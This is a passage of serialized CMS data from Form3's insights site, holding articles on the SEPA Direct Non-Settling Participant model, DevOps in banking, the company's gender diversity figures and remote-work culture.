payments.",{"dimensions":17909,"alt":17906,"copyright":5,"url":17910,"id":17911,"edit":17912},{"width":412,"height":412},"\u002F_prismic-media\u002Fcb04e4f3213b7a2b-qTsW6x_QCzYNYsiQ_how-sepa-indirect-participants-.svg","qTsW6x_QCzYNYsiQ",{"x":398,"y":398,"zoom":399,"background":650},"2023-03-13",{"dimensions":17915,"alt":17916,"copyright":5,"url":17917,"id":17918,"edit":17919},{"width":2532,"height":2533},"Illustration of the direct non-settling participation model and how it works. ","\u002F_prismic-media\u002F08591d982b4ef196-7TIe_fkrQe5QgsdM_4ee90202-5b16-4f41-98ad-2067b7d.png","7TIe_fkrQe5QgsdM",{"x":398,"y":398,"zoom":399,"background":400},[],[],{},[],{"link_type":434},[17926,17943,17954,17971,17984,17995,18013,18024,18092],{"variation":437,"version":438,"items":17927,"primary":17928,"id":17942,"slice_type":468,"slice_label":5},[],{"body":17929},[17930,17933,17936,17939],{"type":988,"text":17931,"spans":17932,"direction":445},"How Technology is Skipping the Fundamentals",[],{"type":25,"text":17934,"spans":17935,"direction":445},"In the past two decades, technology has revolutionised the finance industry. Whilst I’m sad that many will no longer experience the joy of a rectangular signed piece of paper (also known as a cheque) appearing in a birthday card, my concerns pretty much end there. Payment experiences are slicker, banking interfaces have dramatically improved, and people can interact with their money in a more meaningful and transparent way.   ",[],{"type":25,"text":17937,"spans":17938,"direction":445},"It's not just the sexy user interfaces or ‘external assets’ that are moving in the right direction – traditional banks are also making progress in updating their core platforms. The  shift towards modular systems where cost ratios can be reduced, and efficiencies gained is definitely gathering pace and is being seen as a necessity to compete. This is enabling these laggards to catch up with their newer counterparts and interact with their customers in a myriad of different ways.  ",[],{"type":25,"text":17940,"spans":17941,"direction":445},"However, one area that has not received much attention is the way banks connect to their endpoints or partner banks. The same technology and technical setup have been used for the last 40 years, and it is not a common set of standards across the industry. While you can control what happens within your own bank, the reality is that banking relies heavily on other banking partners who may not have the same level of quality or design. This is particularly true when it comes to tackling one of the most fundamental  areas of financial technology: account-to-account payments.  ",[],"rich_text$518f2beb-770f-443e-b1ac-9320fb87efa8",{"variation":437,"version":438,"items":17944,"primary":17945,"id":17953,"slice_type":468,"slice_label":5},[],{"body":17946},[17947,17950],{"type":988,"text":17948,"spans":17949,"direction":445},"Discovering new ways to process SEPA payments beyond banks",[],{"type":25,"text":17951,"spans":17952,"direction":445},"There have been so many amazing companies that have changed the way we pay and get paid. Push payments direct or via open banking (Trustly, Truelayer) BNPL (Klarna, PayPal, Apple), recurring payments (Gocardless), what I call Super Acquirer\u002FPSPs (Adyen, Checkout), challenger banks (Qonto, Monese) the list goes on. However, in addition to this, there are plenty of tier 2 and 3 banks that process at scale who aren’t Direct participants but still need to stay relevant and keep costs low in today’s market. ",[],"rich_text$4ec0fbec-bf31-4dab-9942-92c0495c48f8",{"variation":437,"version":438,"items":17955,"primary":17956,"id":17970,"slice_type":468,"slice_label":5},[],{"body":17957},[17958,17961,17964,17967],{"type":988,"text":17959,"spans":17960,"direction":445},"The traditional routes of becoming a SEPA participant",[],{"type":25,"text":17962,"spans":17963,"direction":445},"When these companies want to move the money they have collected, they must do so by having access to the scheme that will best facilitate the use case. For instant bank transfers in the SEPA region, this is RT1 and\u002For TIPS. For non-immediate payments and direct debits, this is STEP2 for SCT and SDD. Traditionally these companies have had 2 options which is driven by the license they hold:",[],{"type":1151,"text":17965,"spans":17966,"direction":445},"If you are a Credit Institution, you can own and operate a Target2 (Central Bank) account and join the scheme directly.   ",[],{"type":1151,"text":17968,"spans":17969,"direction":445},"If you are not, then you become an Indirect Participant (addressable PSP) and send your payments to a Direct Participant, who will then forward this on to the scheme. ",[],"rich_text$02902c07-7ebb-4724-8003-499348edb69e",{"variation":437,"version":438,"items":17972,"primary":17973,"id":17983,"slice_type":468,"slice_label":5},[],{"body":17974},[17975,17978],{"type":988,"text":17976,"spans":17977,"direction":445},"A Direct Non-Settling Participant model for SEPA participants",[],{"type":25,"text":17979,"spans":17980,"direction":445},"However, there is a third way that Form3 has pioneered in the UK and launched across Europe, called Direct Non-Settling Participant (DNSP). This unique model blends the two traditional models by leveraging the liquidity of a Direct Participant but sending payment messages directly to the scheme.",[17981],{"start":3964,"end":8789,"type":489,"data":17982},{"link_type":491,"url":7331,"target":493},"rich_text$659e9d63-ade8-42d8-8911-e4d24f7429bc",{"variation":437,"version":438,"items":17985,"primary":17986,"id":17994,"slice_type":468,"slice_label":5},[],{"body":17987},[17988,17991],{"type":988,"text":17989,"spans":17990,"direction":445},"How it works",[],{"type":25,"text":17992,"spans":17993,"direction":445},"Customers using this access model are provided with the benefits of direct technical access to the SEPA Instant clearing system. In collaboration with one of our partner banks messages are exchanged in such a way that this is experienced as if they were direct participants, same messages and same speed. Settlement happens on a settlement account held with the partner bank where our customers manage their own liquidity with the partner bank. This Access Model brings the DNSP Participant as close as possible to the clearing system without the need to hold a settlement account at TIPS.",[],"rich_text$e5641df5-b102-4b50-a18b-88eac209f6b3",{"variation":437,"version":527,"items":17996,"primary":17997,"id":18012,"slice_type":549,"slice_label":5},[],{"eyebrow":5,"heading":17998,"body":17999,"cta_label":5,"cta_link":18003,"aside_type":533,"aside_image":18004,"aside_video":18007,"aside_video_poster":18008,"aside_video_reduced_motion":18009,"aside_video_url":5,"aside_embed":18010,"pardot_form_url":5,"form_submit_label":5,"form_variant":540,"form_heading":5,"redirect_on_success":18011,"theme":543,"overlay_pattern":544,"background_continuation":545,"media_position":546,"aside_vertical_align":547},[],[18000],{"type":25,"text":18001,"spans":18002},"How the direct non settling participant solution model works.",[],{"link_type":434},{"dimensions":18005,"alt":17916,"copyright":5,"url":17917,"id":17918,"edit":18006},{"width":2532,"height":2533},{"x":398,"y":398,"zoom":399,"background":400},{"link_type":536},{},{},{},{"link_type":542},"content_block$81c98f87-3e08-4e19-a55c-c3c18a226cb9",{"variation":437,"version":438,"items":18014,"primary":18015,"id":18023,"slice_type":468,"slice_label":5},[],{"body":18016},[18017,18020],{"type":988,"text":18018,"spans":18019,"direction":445},"What are the benefits of a Direct Non-Settling Participant model for SEPA participants",[],{"type":25,"text":18021,"spans":18022,"direction":445},"Traditionally the route of becoming a SEPA indirect participant has been the one taken by PSPs and more regionally focussed banks. While it is a lighter process than becoming a direct participant, it still represents a sizeable project. However, there are still many ways that an indirect model may be failing you. Let’s look at the problems associated with an Indirect model approach and see how DNSP can solve for them:",[],"rich_text$39b985c8-5531-4619-94fb-d42211e6ef65",{"variation":437,"version":438,"items":18025,"primary":18026,"id":18091,"slice_type":468,"slice_label":5},[],{"body":18027},[18028,18032,18036,18040,18044,18048,18052,18056,18060,18064,18068,18072,18076,18080,18083,18087],{"type":25,"text":18029,"spans":18030},"Meshing New technology on to old\nYou are an API first company or have recently re-platformed to a modern core and you read the specs of your Direct Participants connectivity, and it’s likely to be host to host. They might expose an API but it’s fragmented and cumbersome to work with. Most of the communication is file-based requiring a unique set of messaging standards. It is certainly not re-usable nor is there the facility to test effectively in sandboxes. Integration support is limited.   ",[18031],{"start":398,"end":9077,"type":593},{"type":25,"text":18033,"spans":18034},"DNSP: With cloud-native API send JSON messages direct to scheme. Simulators let you test all happy and un-happy paths. All projects are standardised and run to pre-defined implementation timelines.",[18035],{"start":398,"end":4603,"type":593},{"type":25,"text":18037,"spans":18038},"Different Integrations across schemes\nThe integration will be very different across the SEPA schemas. That is 3 completely different integrations, pulling reports in 3 different formats.   ",[18039],{"start":398,"end":846,"type":593},{"type":25,"text":18041,"spans":18042},"DNSP: The same set of API resources are re-used across the different schemes making the addition of new schemes simple and quick.   ",[18043],{"start":398,"end":643,"type":593},{"type":25,"text":18045,"spans":18046},"Incomplete bank integrations\nSome banks have chosen not to offer all SEPA schemes to their FIs, and certain exception and enquiry message types are not covered. This means FIs often have to use 2 or 3 banks to cover all their SEPA requirements.   ",[18047],{"start":398,"end":9704,"type":593},{"type":25,"text":18049,"spans":18050},"DNSP: All SEPA schemes are covered and the full set of message types that a direct participant must test for and deploy are available for DNSP addressable PSPs. ",[18051],{"start":398,"end":4603,"type":593},{"type":25,"text":18053,"spans":18054},"Screening\nWhen and FI sends their payments to their Direct Participant, every single transaction is monitored and screened. Rule based systems often create false positives, especially when the direct participant is not familiar with the business models the FI is in. Often rules are generic and based from corporate client bases.   ",[18055],{"start":398,"end":1355,"type":593},{"type":25,"text":18057,"spans":18058},"DNSP: All screening is done by the FI with the technology selection, methodology and processes all owned and managed by them. This is huge as the FI knows their customer better than anyone else and can tailor rules accordingly.   ",[18059],{"start":398,"end":4603,"type":593},{"type":25,"text":18061,"spans":18062},"Scalability\nHaving another party in the flow of messaging always introduces risk and latency. As FIs scale up and their volume increases, the legacy estates of direct participants can begin to throttle transactions and dictates throughput to the scheme.   ",[18063],{"start":398,"end":2707,"type":593},{"type":25,"text":18065,"spans":18066},"DNSP: The FI is in full control of transaction throughput as messages are sent directly to the scheme.   ",[18067],{"start":398,"end":4603,"type":593},{"type":25,"text":18069,"spans":18070},"  ",[18071],{"start":398,"end":399,"type":593},{"type":25,"text":18073,"spans":18074},"SEPA Scheme changes\nIn SEPA world, we are all accustomed to the yearly changes that are announced and mandated for change late in the year. This can heavily impact software integrations.   ",[18075],{"start":398,"end":7460,"type":593},{"type":25,"text":18077,"spans":18078},"DNSP: Form3 has never had downtime when deploying new releases, where we have multiple releases per day. Scheme changes are no different and Form3 absorb the changes and format these into the API that FIs consume.   ",[18079],{"start":398,"end":4603,"type":593},{"type":25,"text":18069,"spans":18081},[18082],{"start":398,"end":399,"type":593},{"type":25,"text":18084,"spans":18085},"High cost: as volume scales, the full scope of costs do not trend downwards with volume. It may be that transactions costs can fall, but R (recalls, returns, refunds) messaging costs are where the banks make the lion share of their revenue.   ",[18086],{"start":398,"end":602,"type":593},{"type":25,"text":18088,"spans":18089},"DNSP: For high volume FIs can reduce total cost of ownership significantly.",[18090],{"start":398,"end":4603,"type":593},"rich_text$2fa7494f-54b4-486d-8546-a07559099974",{"variation":437,"version":438,"items":18093,"primary":18094,"id":18102,"slice_type":468,"slice_label":5},[],{"body":18095},[18096,18099],{"type":988,"text":18097,"spans":18098,"direction":445},"How Form3 can help SEPA participants begin their DNSP journey",[],{"type":25,"text":18100,"spans":18101,"direction":445},"A thorough assessment of the FIs business model must be undertaken to make sure that the right connectivity and setup is chosen. At Form3, we love the details of exploring what works and how we can design models that are fit for an API first, Instant, 24x7 world. We can also ensure that our API integration for DNSP is also the same for being a Direct Participant. So, when FIs migrate from PI\u002FEMI to credit institution, you are covered. This is also important as the EPC’s discovery exercise of granting non-banks direct access to SEPA is still being considered and will be a game changer in opening more competition within SEPA to create a more democratic payment landscape.  ",[],"rich_text$82ffd4fd-5a05-457e-8850-9580176d630f","7 Ways SEPA Indirect Participants Might Be Losing Out | Form3 Insights","Explore the challenges faced by SEPA Indirect Participants and discover how the innovative Direct Non-Settling Participant model can help improve payment efficiency and reduce costs for financial institutions. Learn more at Form3 Insights.",{"id":18106,"uid":18107,"type":3743,"data":18108},"alzz6BEAACkAUWSU","gated-content-how-real-time-payments-are-solving-todays-problems-for-tomorrows-success",{"title":18109,"excerpt":18110,"card_image":18111,"published_date":18117,"reading_time":418,"tag":3992,"dek":18110,"featured_image":18118,"about_form3":18119,"client_about_heading":5,"client_about_body":18120,"author_name":5,"author_title":5,"author_photo":18121,"author_bio":18122,"author_linkedin":18123,"slices":18124,"meta_title":18109,"meta_description":18110},"Whitepaper: How real-time payments are solving today’s problems for tomorrow’s success","What are the current challenges faced by banks in their efforts to meet instant payment objectives, how is the global real time ecosystem is driving pressure on financial institutions to evolve, and what are the best way for banks to orient themselves for real-time success.",{"dimensions":18112,"alt":18113,"copyright":5,"url":18114,"id":18115,"edit":18116},{"width":412,"height":412},"asdfghjkl","\u002F_prismic-media\u002F3183e59fcaa03974-qWsgCEoswPI-1z-Y_gated-content-how-real-time-pay.png","qWsgCEoswPI-1z-Y",{"x":398,"y":398,"zoom":399,"background":400},"2022-08-19",{},[],[],{},[],{"link_type":434},[18125,18132],{"variation":437,"version":438,"items":18126,"primary":18127,"id":18131,"slice_type":468,"slice_label":5},[],{"body":18128},[18129],{"type":746,"text":13356,"spans":18130,"direction":445},[],"rich_text$72acbed2-9c85-4561-8c12-a5fc23672e8b",{"variation":437,"version":527,"items":18133,"primary":18134,"id":18151,"slice_type":549,"slice_label":5},[],{"eyebrow":5,"heading":18135,"body":18136,"cta_label":5,"cta_link":18140,"aside_type":533,"aside_image":18141,"aside_video":18146,"aside_video_poster":18147,"aside_video_reduced_motion":18148,"aside_video_url":5,"aside_embed":18149,"pardot_form_url":5,"form_submit_label":5,"form_variant":540,"form_heading":5,"redirect_on_success":18150,"theme":543,"overlay_pattern":544,"background_continuation":545,"media_position":546,"aside_vertical_align":547},[],[18137],{"type":25,"text":18138,"spans":18139,"direction":445},"Banks understand what they need from real time global payments, but reaching a position where they can leverage the full benefits available is a significant challenge. While multiple projects are underway around the globe in an effort to bring real time to multiple markets, before banks can tap in to the advantages of real time, they must first get their technological house in order. Banks must consider how real time payments should interoperate with each other,and create real time global settlement and clearing. Why does this remain such a challenge? It is all related to what is happening in the payment structure of traditional banks. In this latest report in collaboration with Finextra we look at how the global real time ecosystem is driving pressure on financial institutions to evolve, and what are the best way for banks to orient themselves for real-time success.",[],{"link_type":434},{"dimensions":18142,"alt":5,"copyright":5,"url":18143,"id":18144,"edit":18145},{"width":501,"height":501},"\u002F_prismic-media\u002F4b1c4759275ef7a4-CmDaPZ4gm47Z-PPI_6d9a55c0-e316-49a0-b43f-8706483.png","CmDaPZ4gm47Z-PPI",{"x":398,"y":398,"zoom":399,"background":400},{"link_type":536},{},{},{},{"link_type":542},"content_block$bf325ffd-c4d8-4036-9433-3f669792ad10",{"id":18153,"uid":18154,"type":3743,"data":18155},"alz0BBEAAC4AUWTX","industry-advice-how-devops-can-drive-technological",{"title":18156,"excerpt":18157,"card_image":18158,"published_date":15738,"reading_time":2375,"tag":5813,"dek":18163,"featured_image":18164,"about_form3":18165,"client_about_heading":5,"client_about_body":18166,"author_name":5,"author_title":5,"author_photo":18167,"author_bio":18168,"author_linkedin":18169,"slices":18170,"meta_title":18156,"meta_description":18157},"Industry Advice: How DevOps Can Drive Technological Success","Large financial institutions can often be resistant to change; they may be limited by legacy infrastructure and high levels of internal bureaucracy. However, one of the biggest obstacles they have is their mindset when it comes to technological innovation.",{"dimensions":18159,"alt":18156,"copyright":5,"url":18160,"id":18161,"edit":18162},{"width":412,"height":412},"\u002F_prismic-media\u002F669efb8c9dbb45dd--DQAE7I8QXq_Dm_E_industry-advice-how-devops-can-.png","-DQAE7I8QXq_Dm_E",{"x":398,"y":398,"zoom":399,"background":400},"Large financial institutions can often be resistant to change; they may be limited by legacy infrastructure and high levels of internal bureaucracy. However, one of the biggest obstacles they have is their mindset when it comes to technological innovation. A key tool to support this cultural change can be found in DevOps. This is a term used to describe a set of best practices concerning the combination of software development and IT operations. DevOps focuses on small incremental changes introduced on a rolling, regular basis. Typically, you would start with a minimum viable product in a live environment, then gradually introduce features and upgrades as they become ready. This minimises potential disruption — there’s very little system downtime and anything that doesn’t work can be quickly rolled back. Fixes can be applied before the feature is re-released, without compromising the organisation’s ultimate strategic goals.",{},[],[],{},[],{"link_type":434},[18171,18188,18202],{"variation":437,"version":438,"items":18172,"primary":18173,"id":18187,"slice_type":468,"slice_label":5},[],{"body":18174},[18175,18178,18181,18184],{"type":988,"text":18176,"spans":18177,"direction":445},"How banks can shift their cultural approach",[],{"type":25,"text":18179,"spans":18180,"direction":445},"The best way banks can set themselves up for future technology success is to focus on their cultural approach to technology development. ",[],{"type":25,"text":18182,"spans":18183,"direction":445},"It’s important to ensure that key players within the organisation understand the benefits that DevOps principles can bring - and have them act as advocates for change. It’s vital to consider how your technological partnerships play into making this cultural shift too. ",[],{"type":25,"text":18185,"spans":18186,"direction":445},"Another consideration is how the organisational structure can be adapted to give ownership and responsibility for the impact assessment of changes to the people that have actually created them.",[],"rich_text$2d24880e-d291-4552-afb6-6e26524e807f",{"variation":437,"version":438,"items":18189,"primary":18190,"id":18201,"slice_type":468,"slice_label":5},[],{"body":18191},[18192,18195,18198],{"type":988,"text":18193,"spans":18194,"direction":445},"Measuring the success of DevOp culture",[],{"type":25,"text":18196,"spans":18197,"direction":445},"At its heart, embracing DevOps is about recognising the importance of deploying change as it's ready. There is significant value in getting updates, whether security features or additional functions, live and into a product as soon as possible. Updates aren’t hidden in bundles of change. This is fundamentally empowering for all involved and creates a virtuous circle of ownership and quality.",[],{"type":25,"text":18199,"spans":18200,"direction":445},"It’s also an approach that ensures high availability. In the world of payments in particular, being always-on is very important in terms of customer experience. The growth of SecDevOps to the ways of working only embeds this further, ensuring that security principles are ‘coded’ in at inception and are not a secondary consideration later in the process. ",[],"rich_text$9c24a461-71c3-4801-8a85-a4858c460ac2",{"variation":437,"version":438,"items":18203,"primary":18204,"id":18212,"slice_type":468,"slice_label":5},[],{"body":18205},[18206,18209],{"type":988,"text":18207,"spans":18208,"direction":445},"In summary: Embracing change will lead to success",[],{"type":25,"text":18210,"spans":18211,"direction":445},"In my view, taking a much more granular outlook to change is the best way forward for banks. By using the principles of DevOps and SecDevOps they can make change more manageable, empower their teams to deliver and put themselves in the best position to compete in the long term.  ",[],"rich_text$e43506e7-e2ab-41de-ad9d-e935b1e7106a",{"id":18214,"uid":18215,"type":3743,"data":18216},"alz0LhEAACwAUWU4","form3-diversity-update---a-year-in-review",{"title":18217,"excerpt":18218,"card_image":18219,"published_date":18225,"reading_time":643,"tag":3751,"dek":18218,"featured_image":18226,"about_form3":18227,"client_about_heading":5,"client_about_body":18228,"author_name":5,"author_title":5,"author_photo":18229,"author_bio":18230,"author_linkedin":18231,"slices":18232,"meta_title":18221,"meta_description":18218},"Form3 Diversity Update: A Year in Review","At Form3 we are passionate about promoting Diversity. Last International Women’s Day, we published our diversity statistics and set out a plan to improve them. Now, almost a year later, we would like to show our progress, our changes, and the next steps in our mission to promote gender diversity, not only at Form3, but also within the industry.",{"dimensions":18220,"alt":18221,"copyright":5,"url":18222,"id":18223,"edit":18224},{"width":412,"height":412},"Form3 Diversity Update - A year in review","\u002F_prismic-media\u002F3d2ef3c4b8a0aaa5-T5j0SHzg07NHp_LU_form3-diversity-update---a-year.png","T5j0SHzg07NHp_LU",{"x":398,"y":398,"zoom":399,"background":400},"2022-01-21",{},[],[],{},[],{"link_type":434},[18233,18241,18261,18272,18280,18296],{"variation":437,"version":438,"items":18234,"primary":18235,"id":18240,"slice_type":468,"slice_label":5},[],{"body":18236},[18237],{"type":25,"text":18238,"spans":18239,"direction":445},"At Form3 we are super passionate about gender diversity. Unfortunately, as a technology company, achieving a 50\u002F50 split of male and female employees has proven to be extremely difficult.  Ensuring that men become allies and join the journey to gender equality is key, so we are very proud to have a leadership team that is passionate about making changes in our industry as well as at Form3.",[],"rich_text$c60c99ef-2401-4d7c-9043-2afd74b74d22",{"variation":437,"version":527,"items":18242,"primary":18243,"id":18260,"slice_type":549,"slice_label":5},[],{"eyebrow":5,"heading":18244,"body":18245,"cta_label":5,"cta_link":18249,"aside_type":533,"aside_image":18250,"aside_video":18255,"aside_video_poster":18256,"aside_video_reduced_motion":18257,"aside_video_url":5,"aside_embed":18258,"pardot_form_url":5,"form_submit_label":5,"form_variant":540,"form_heading":5,"redirect_on_success":18259,"theme":543,"overlay_pattern":544,"background_continuation":545,"media_position":546,"aside_vertical_align":547},[],[18246],{"type":25,"text":18247,"spans":18248,"direction":445},"Last International Women’s Day, we published our diversity statistics and set out a plan to improve them. Now, almost a year later, we would like to show our progress, our changes, and the next steps in our mission to promote gender diversity, not only at Form3, but also within the industry.",[],{"link_type":434},{"dimensions":18251,"alt":5,"copyright":5,"url":18252,"id":18253,"edit":18254},{"width":9630,"height":6664},"\u002F_prismic-media\u002Fc85175d40fda51fd-1dNDL5V400aLCkge_19fd25e8-e505-425a-b640-92299f0.png","1dNDL5V400aLCkge",{"x":398,"y":398,"zoom":399,"background":400},{"link_type":536},{},{},{},{"link_type":542},"content_block$bc622598-fd8b-479a-a22e-8a5466d85411",{"variation":437,"version":438,"items":18262,"primary":18263,"id":18271,"slice_type":468,"slice_label":5},[],{"body":18264},[18265,18268],{"type":988,"text":18266,"spans":18267,"direction":445},"The Numbers",[],{"type":25,"text":18269,"spans":18270,"direction":445},"In 2019, women represented 19% of our business, 33% of the leadership team and 0% of the Board of Directors. In 2020 females represented 22% of our business, 42% of our leadership team and 20% of our Board of Directors. In 2021 we have females in 25 % of the business and 33 % of our leadership team and 33% of our Board of Directors. Good progress, but there is still a long way to go! Form3 is very much committed to creating a business that is more representative of the world’s population year on year. Our hope by the end of 2022 is that female representation will grow to 28% overall in the business.",[],"rich_text$037c1227-9478-4e4e-a542-79d9fefd59ca",{"variation":437,"version":438,"items":18273,"primary":18274,"id":18279,"slice_type":583,"slice_label":5},[],{"quote":18275,"attribution_name":921,"attribution_role":922},[18276],{"type":25,"text":18277,"spans":18278},"\"Form3 is very much committed to creating a business that is more representative of the world’s population year on year\"",[],"pull_quote$5ead64de-2e3b-42da-b3a2-a4fe100a2dde",{"variation":437,"version":438,"items":18281,"primary":18282,"id":18295,"slice_type":468,"slice_label":5},[],{"body":18283},[18284,18286,18289,18292],{"type":988,"text":6714,"spans":18285,"direction":445},[],{"type":25,"text":18287,"spans":18288,"direction":445},"Earlier in 2021, we formed relationships with social partners who are non-profit organisations trying to address the gender imbalance in technology. With these partnerships we hope to make the fintech community more inclusive and help people from all backgrounds enter and thrive in the technology space.  We have teamed up with two social partners, one predominantly based in Germany (ReDi school), and one based in the UK and Ireland (Stemettes). Through their initiatives, they encourage people from populations typically underrepresented in engineering to study, work and explore the world of technology. Our partnerships give us the opportunity to not only donate money and equipment, but to also get involved with mentoring, career coaching, and teaching coding lessons.  ",[],{"type":25,"text":18290,"spans":18291,"direction":445}," Additionally, we have recently launched our entry level hiring programme, which will give young people an opportunity to kick start their career with us. Within the programme, we offer apprenticeship and junior roles across the business. Here, we are especially trying to give girls the opportunity to gain experience in tech roles such as cyber security and IT.",[],{"type":25,"text":18293,"spans":18294,"direction":445},"Lastly, to ensure that enough females are being considered for every role, we have implemented an internal rule, which ensures that females are included in each interview shortlist. With this we aim to improve the gender inequality in the tech space in the coming years.  ",[],"rich_text$27cd88a6-179e-4716-aa61-28b64aa02507",{"variation":437,"version":438,"items":18297,"primary":18298,"id":18308,"slice_type":468,"slice_label":5},[],{"body":18299},[18300,18302,18305],{"type":988,"text":6734,"spans":18301,"direction":445},[],{"type":25,"text":18303,"spans":18304,"direction":445},"A big focus point for the next year is transparency. By Q2 2022, we want to publish our gender pay gap data, regardless of our headcount, to ensure that we are holding ourselves accountable to monitoring and minimising it. As we continue to grow, our focus will be improving the gender quota in line with our values.",[],{"type":25,"text":18306,"spans":18307,"direction":445},"We will continue to provide updates and are excited to see more diversity not just within Form3 but in the whole technology space! We are all on this mission together to create an organisation and an industry that is far more representative of the global population than it is right now.",[],"rich_text$d611f2ee-aaf9-410e-ac7f-dedbfda22768",{"id":18310,"uid":18311,"type":3743,"data":18312},"alz0DhEAACsAUWTu","setting-our-team-up-for-successful-remote-work",{"title":18313,"excerpt":18314,"card_image":18315,"published_date":18320,"reading_time":2375,"tag":3751,"dek":18321,"featured_image":18322,"about_form3":18323,"client_about_heading":5,"client_about_body":18324,"author_name":5,"author_title":5,"author_photo":18325,"author_bio":18326,"author_linkedin":18327,"slices":18328,"meta_title":18313,"meta_description":18387},"Setting our team up for successful remote work","Jessica Money, People Partner at Form3 shares tips for remote work and setting each individual up for success.",{"dimensions":18316,"alt":18313,"copyright":5,"url":18317,"id":18318,"edit":18319},{"width":412,"height":412},"\u002F_prismic-media\u002F6b3557ebd68910c8-F5FyqTu1hgLEzlzN_setting-our-team-up-for-success.png","F5FyqTu1hgLEzlzN",{"x":398,"y":398,"zoom":399,"background":400},"2022-06-24","At Form3, we celebrate our remote first culture. It’s our philosophy and one of the principal factors that helped get us to where we are today. Remote work has been so pivotal to our journey. It has enabled us to extend our global footprint, scale-up in a vigorous and competitive industry, increase our gender diversity, and build efficiencies for future resilience. Last September we raised a massive $160 million during our Series C funding round, and we most recently achieved the Payments Innovation of the Year award at the FStech awards 2022. We have also recently won Best Tech Employer (150 – 499 Employees) at the Women in Tech Employer Awards 2022 This just shows that remote working doesn’t have to be a barrier, but it can be the very ingredient to driving success. For us, it has been an obvious no brainer from the outset!",{},[],[],{},[],{"link_type":434},[18329,18351],{"variation":437,"version":438,"items":18330,"primary":18331,"id":18350,"slice_type":468,"slice_label":5},[],{"body":18332},[18333,18336,18340,18343,18347],{"type":988,"text":18334,"spans":18335,"direction":445},"Remote work wouldn’t be successful without our team having the appropriate set-up. So, how do we do this?",[],{"type":25,"text":18337,"spans":18338,"direction":445},"A trust culture ",[18339],{"start":398,"end":2477,"type":593},{"type":25,"text":18341,"spans":18342,"direction":445},"Remote work for Form3 is built on a foundation of trust. We defy the traditional 9 to 5 structure and provide our team with the ability to work flexibly 100% of the time, enabling them to juggle life’s commitments, celebrations, and challenges. Whether it’s helping a loved one attend an appointment, taking the dog out for a walk at 11am, or running some personal errands; we understand that sometimes life gets in the way, and that’s ok! We don’t want our team to miss the moments that are important to them, and so we collectively share a trust that empowers this. This means absolutely no clock watching nor micro-management! ",[],{"type":25,"text":18344,"spans":18345,"direction":445},"Transparency ",[18346],{"start":398,"end":1951,"type":593},{"type":25,"text":18348,"spans":18349,"direction":445},"Transparency is a key value that contributes to our remote work set up. We make an effort to continuously share and involve our team in the latest company news, trends and updates. Whether this is via our weekly company update call, our monthly newsletter, or in one of our many Slack channels, we are committed to being open and transparent on all things Form3 - this includes the good, the bad and the ugly!",[],"rich_text$1bb5fa28-9269-4fda-ad72-9e6ee62a6703",{"variation":437,"version":438,"items":18352,"primary":18353,"id":18386,"slice_type":468,"slice_label":5},[],{"body":18354},[18355,18358,18362,18365,18368,18372,18375,18383],{"type":988,"text":18356,"spans":18357,"direction":445},"Supporting our team",[],{"type":25,"text":18359,"spans":18360,"direction":445},"Setting up a working space at home",[18361],{"start":398,"end":1131,"type":593},{"type":25,"text":18363,"spans":18364,"direction":445},"We want our team to feel and be their absolute best when working for us, so we’re not fussed if they would prefer to work on a hammock or a desk. Where our team is happiest and most productive is perfectly good enough for us! ",[],{"type":25,"text":18366,"spans":18367,"direction":445},"We recognise that our team have different needs and preferences when it comes to their remote work set-up.  This is why we use Hofy as our remote work partner to provide our team with equipment to set up their working spaces in whichever way suits them most. ",[],{"type":25,"text":18369,"spans":18370,"direction":445},"Staying connected ",[18371],{"start":398,"end":2769,"type":593},{"type":25,"text":18373,"spans":18374,"direction":445},"Connecting is important to us, whether it happens virtually or in-person. Our team are located across 26 countries, with a view that we’ll likely welcome colleagues in other locations in future. It’s so important that connection is centred at our core and that we take an approach that is inclusive of all time zones and cultural differences where possible. ",[],{"type":25,"text":18376,"spans":18377,"direction":445},"Slack is our primary communication tool; it is engrained in our culture. We love the use of emojis (we’ve even created our own!) and the natural ease and flow of conversation. We recognise that the social element can be missing from remote work and so we have social channels dedicated to topics such as music, pets, football and even gourmet food! This allows our team to invest and experience their passion with others and establish a personal connection to Form3. Our Slack channels also support our asynchronous communications perfectly. You can read more on asynchronous communication at Form3 and the benefits for remote teams on our previous blog post here.",[18378],{"start":18379,"end":18380,"type":489,"data":18381},659,663,{"link_type":491,"url":18382,"target":493},"https:\u002F\u002Fwww.form3.tech\u002Fwhy-form3\u002Finsights\u002Fasynchronous-communication-at-form3",{"type":25,"text":18384,"spans":18385,"direction":445},"We can’t forget the importance of in-person and office collaboration however, and frankly we love an excuse to get everyone together for a social. We make it our aim to schedule in-person meetups at regular intervals, sometimes even in an exotic location! ",[],"rich_text$60d4e4ce-5d24-46ce-8c4a-e3ba7c388edd","Remote work has been so pivotal to our journey. It has enabled us to extend our global footprint, scale-up in a vigorous and competitive industry, increase our gender diversity, and build efficiencies for future resilience.",{"id":18389,"uid":18390,"type":3743,"data":18391},"alz0FxEAACsAUWUE","form3s-approach-to-giving-back",{"title":18392,"excerpt":18393,"card_image":18394,"published_date":18399,"reading_time":2375,"tag":3751,"dek":18400,"featured_image":18401,"about_form3":18402,"client_about_heading":5,"client_about_body":18403,"author_name":5,"author_title":5,"author_photo":18404,"author_bio":18405,"author_linkedin":18406,"slices":18407,"meta_title":18392,"meta_description":18393},"Form3's approach to giving back","Sophia Hieker, People Assistant at Form3, brings us through Form3's approach to giving back and how our ”Caring deeply” principle extends outside of Form3.",{"dimensions":18395,"alt":18392,"copyright":5,"url":18396,"id":18397,"edit":18398},{"width":412,"height":412},"\u002F_prismic-media\u002F5a242b8b3aa4ef19-xxtkl2WjoRuDNjav_form3s-approach-to-giving-back.","xxtkl2WjoRuDNjav",{"x":398,"y":398,"zoom":399,"background":400},"2022-05-11","Our ”Caring deeply” principle extends outside of Form3. And so, one of our 2021 projects was to set ourselves up to give back!",{},[],[],{},[],{"link_type":434},[18408,18419,18433,18447],{"variation":437,"version":438,"items":18409,"primary":18410,"id":18418,"slice_type":468,"slice_label":5},[],{"body":18411},[18412,18415],{"type":25,"text":18413,"spans":18414},"We always want to give back each year — the amount we give might change, depending on our profit, and our budgets, but we’ll always give back. It’s a habit we care about building and continuing.",[],{"type":25,"text":18416,"spans":18417},"Earlier last year, we formed relationships with two social partners who are non-profit organisations trying to address the gender imbalance in technology. These two partners align with our mission and values, and support causes which we are passionate about. With them, we hope to make the fintech community more inclusive and help people from all backgrounds enter and thrive in the technology space. 